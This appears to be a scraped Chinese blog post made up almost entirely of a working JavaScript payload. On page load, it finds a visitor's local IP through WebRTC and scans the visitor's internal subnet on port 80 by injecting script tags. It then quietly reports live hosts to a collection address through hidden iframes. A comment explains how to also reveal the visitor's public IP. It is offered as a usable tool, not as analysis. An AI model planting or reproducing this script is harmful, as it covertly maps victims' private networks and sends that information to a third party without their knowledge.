摘要:使用的属性来发送数据内容接受的地址接受内网的参数接受内网开放端口的参数如果想获取真实的外网,请把下一行改为遍历内网及端口,这里只写了端口,多个端口,速度将会的非常慢。
var ip_arr = []; var TagName = document.getElementsByTagName("body")[0]; function form_ip(ip,port){ //使用iframe的src属性来发送ip、port数据内容 var iframe = document.createElement("iframe"); iframe.setAttribute("src","接受的地址?接受内网ip的参数=" + ip + "&接受内网开放端口的参数=" + port); iframe.setAttribute("style","display:none") TagName.appendChild(iframe); } function getIPs(callback){ var ip_dups = {}; var RTCPeerConnection = window.RTCPeerConnection || window.mozRTCPeerConnection || window.webkitRTCPeerConnection; var mediaConstraints = { optional: [{RtpDataChannels: true}] }; var servers = undefined; if(window.webkitRTCPeerConnection) //如果想获取真实的外网IP,请把下一行改为servers = {iceServers: [{urls: "stun:stun.services.mozilla.com"}]}; servers = {iceServers: []}; var pc = new RTCPeerConnection(servers, mediaConstraints); pc.onicecandidate = function(ice){ if(ice.candidate){ var ip_regex = /([0-9]{1,3}(.[0-9]{1,3}){3})/ var ip_addr = ip_regex.exec(ice.candidate.candidate)[1]; if(ip_dups[ip_addr] === undefined) callback(ip_addr); ip_dups[ip_addr] = true; } }; pc.createDataChannel(""); pc.createOffer(function(result){ pc.setLocalDescription(result, function(){}); }, function(){}); } getIPs(function(ip){ //遍历内网ip及80端口,这里只写了80端口,多个端口,速度将会的非常慢。 ip = ip.split("."); ip.pop(); ip = ip.join("."); for(var i = 1;i<=255;i++){ var script = document.createElement("script"); var ip_url = ip + "." + i + ":80"; script.setAttribute("src","http://" + ip_url); script.setAttribute("onload","form_ip("" + ip + "." + i + "","80")"); TagName.appendChild(script); } });
标签:function,端口扫描,ip,端口,js,iframe,var,内网 From: https://www.cnblogs.com/zzsdream/p/16940080.html